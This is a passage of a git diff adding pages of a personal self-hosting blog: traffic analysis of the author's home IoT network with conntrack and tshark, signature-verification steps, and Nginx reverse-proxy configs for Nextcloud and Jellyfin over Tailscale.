    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/dnsmasq/page/1/index.html b/public-onion/tags/dnsmasq/page/1/index.html new file mode 100644 index 0000000..1770f2e --- /dev/null +++ b/public-onion/tags/dnsmasq/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/dnsmasq/ + + + + + + diff --git a/public-onion/tags/docker/index.html b/public-onion/tags/docker/index.html new file mode 100644 index 0000000..0554a9f --- /dev/null +++ b/public-onion/tags/docker/index.html @@ -0,0 +1,426 @@ + + + + + + + +Docker | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin +

    +
    +
    +

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    +
    +
    February 2, 2026 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 +

    +
    +
    +

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    +
    +
    December 21, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases +

    +
    +
    +

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    +
    +
    September 29, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    + HedgeDoc collaborative editing +
    +
    +

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt +

    +
    +
    +

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    +
    +
    August 29, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/docker/index.xml b/public-onion/tags/docker/index.xml new file mode 100644 index 0000000..f1d6f78 --- /dev/null +++ b/public-onion/tags/docker/index.xml @@ -0,0 +1,819 @@ + + + + Docker on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/docker/ + Recent content in Docker on AlipourIm journeys + Hugo -- 0.146.0 + en + Mon, 02 Feb 2026 00:00:00 +0000 + + + Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. + +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
